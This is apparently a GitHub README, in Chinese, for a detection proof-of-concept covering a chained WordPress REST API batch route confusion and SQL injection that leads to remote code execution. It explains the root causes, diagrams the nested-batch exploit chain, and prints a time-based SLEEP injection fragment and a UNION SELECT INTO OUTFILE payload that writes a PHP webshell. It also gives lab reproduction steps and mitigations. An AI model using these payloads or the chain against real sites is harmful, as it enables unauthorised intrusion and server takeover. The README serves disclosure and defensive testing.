Senanfurkan/wordpress-cve-2026-63030
GitHub: Senanfurkan/wordpress-cve-2026-63030
一个针对 WordPress 核心 REST API 批量路由混乱叠加 SQL 注入导致未授权 RCE 漏洞链的非破坏性检测 PoC。
Stars: 4 | Forks: 0
# WordPress REST API 批量路由混乱 + SQL 注入 → RCE
| | |
|---|---|
| **CVE** | `CVE-2026-63030` (路由混乱 → RCE) + `CVE-2026-60137` (SQLi) |
| **GHSA** | [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) · [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) |
| **发现者** | Adam Kues — Assetnote / Searchlight Cyber (被称为 **"wp2shell"**) |
| **受影响版本** | WordPress **6.9.0 – 6.9.4**, **7.0.0 – 7.0.1** (完整 RCE 利用链) · **6.8.0 – 6.8.5** (仅 SQLi) |
| **已修复版本** | **6.8.6**, **6.9.5**, **7.0.2**, **7.1-beta2** |
| **CVSS** | 严重 (RCE 利用链) / 中等 (独立 SQLi) |
| **研究员博客** | |
## 1. 概述
WordPress 核心存在的两个漏洞,可以被组合成**未授权的远程代码执行**:
1. 当 `author__not_in` 是字符串而非数组时,`WP_Query` 中存在 **SQL 注入** —— `is_array()` 净化检查被跳过,原始值被直接插入到 `NOT IN (...)` 子句中。
2. `WP_REST_Server::serve_batch_request_v1()` 中存在 **批量路由混乱** —— `WP_Error` 子请求被推入 `$validation[]` 但未推入 `$matches[]`,导致索引偏移 +1。子请求 *i* 最终使用子请求 *i+1* 的 handler 进行分发。
单独利用任何一个漏洞都是不够的:REST API 在将 `author_exclude`(`type: array, items: integer`)传递给 `WP_Query` 之前会对其进行净化,且批量 endpoint 会拒绝 `GET` 子请求(`enum: POST, PUT, PATCH, DELETE`)。通过 **双重混乱** 将它们组合起来,可以绕过这两道防线,从而实现未授权的 SQLi。
## 2. 根本原因
### 2.1 SQL 注入 — `src/wp-includes/class-wp-query.php` (CVE-2026-60137)
存在漏洞的版本 (6.9.4):
```
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
```
当 `author__not_in` 是字符串时,`is_array()` 分支会被跳过;`(array) "payload"` 的求值结果为 `["payload"]`;`implode(',', ...)` 返回原始字符串,该字符串随后被直接插入到 SQL 中。
**修复 (6.9.5):** 使用 `wp_parse_id_list()`,该函数接受任何输入格式并返回经过净化的整数列表。
### 2.2 批量路由混乱 — `src/wp-includes/rest-api/class-wp-rest-server.php` (CVE-2026-63030)
```
// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
```
位于位置 0 的单个 `WP_Error` 子请求(例如格式错误的路径)会使每个后续条目偏移一位。随后,请求 *i* 会使用请求 *i+1* 的 handler 进行分发。
**修复 (6.9.5):** 在错误情况下也追加 `$matches[] = $single_request;`。额外的加固措施会在分发已在进行中时,短路 `rest_api_loaded()` / `serve_request()`。
## 3. 双重混乱利用链
```
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude= │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
```
生成的 SQL 片段为:
```
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
```
`SLEEP(N)` 会在每个匹配的文章行上触发一次,因此总延迟大约为 `N × <已发布文章的数量>` 秒。
### 从 SQLi 到 RCE ("wp2shell")
仅支持 SELECT 的注入(不支持堆叠查询,`$wpdb` 使用 `mysqli_query`)在典型的 LAMP 架构环境中,当 MySQL 用户拥有 `FILE` 权限时,依然会导致 RCE —— 这在许多共享托管服务商和自我管理的服务器上是默认设置:
```
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
```
将一个 PHP webshell 写入 web 根目录,可通过 `/x.php` 访问。
其他利用路径(无需 `FILE` 权限)包括通过 UNION/布尔盲注 SQLi 读取管理员密码哈希,并通过已认证的管理员 UI 上传恶意插件。
## 4. 检测 / PoC
```
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
```
该 PoC 执行了 **两项非破坏性测试**:
| 测试 | 方法 | 安全? |
|------|--------|-------|
| **路由混乱** (CVE-2026-63030) | 结构性 —— 通过检查响应正文中的专属字段,验证内部 request[1] (categories) 是否被 posts handler 分发 | 是 |
| **SQLi** (CVE-2026-60137) | 基于时间的盲注 —— 通过 `author_exclude` 注入 `SLEEP(N)`,并测量相对于良性基线的延迟 | 是 |
```
# 基本用法
python3 poc_wp_batch_sqli.py -t http://target/
# 使用更短的 SLEEP 以加快分类
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# 仅结构化 route-confusion 测试(无 SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# 详细 / 无颜色
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
```
针对存在漏洞的 6.9.4 实例的示例输出:
```
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
```
无延迟 / 无结构性混乱 ⇒ 已修复 (6.8.6 / 6.9.5 / 7.0.2)。
### 环境要求
- Python ≥ 3.9
- `requests` (`pip install requests`)
## 5. 复现
最简单的复现方法是使用官方 Docker 镜像(自动更新程序会在漏洞披露后的几个小时内修补大多数在线实例):
```
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# 运行安装程序(或使用 wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode admin_email=admin@example.com \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
```
对于 INTO OUTFILE → RCE 步骤,请授予 `FILE` 权限,并确保数据库进程具有写入 web 根目录的权限(单服务器 LAMP,或 Docker 中的共享卷):
```
GRANT FILE ON *.* TO 'wp'@'%';
```
## 6. 缓解措施
1. **立即更新**至 **6.8.6 / 6.9.5 / 7.0.2**(或更新版本)。WordPress 默认会自动应用次要/安全版本(`WP_AUTO_UPDATE_CORE`),因此大多数在线网站都已被修复。
2. 如果您现在无法更新,请在 WAF / 反向代理级别阻止对批量 endpoint 的匿名访问:
- `POST /wp-json/batch/v1`
- `POST /index.php?rest_route=/batch/v1`
3. 撤销 WordPress 数据库用户的 `FILE` 权限:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
4. 确保设置了 `secure_file_priv`(非空):
secure_file_priv = /var/lib/mysql-files
## 7. 时间线
| 日期 | 事件 |
|------|-------|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 发布 |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf 发布 |
| 2026-07-17 | Assetnote / Searchlight Cyber 发布 "wp2shell" 安全通告 + 检测工具 |
## 8. 参考
- WordPress 安全通告
-
-
- 发现者文章
-
- 补丁差异 (6.9.4 → 6.9.5)
- `src/wp-includes/class-wp-query.php`
- `src/wp-includes/rest-api.php`
- `src/wp-includes/rest-api/class-wp-rest-server.php`
- 检测网站
-
## 9. 负责任的漏洞披露
本仓库仅包含一个 **检测** PoC —— 它使用基于时间的盲注 SQLi 和结构性响应检查。它**不会**提取数据、写入文件或尝试 RCE。在此代码发布之前,WordPress 和原研究员已经对该漏洞进行了修补和公开披露。
**请仅针对您拥有或被授权测试的系统使用。**
## 许可证
MIT — 请参阅 `LICENSE`。
标签:CISA项目, REST API, WordPress, 编程工具, 请求拦截, 远程代码执行, 逆向工具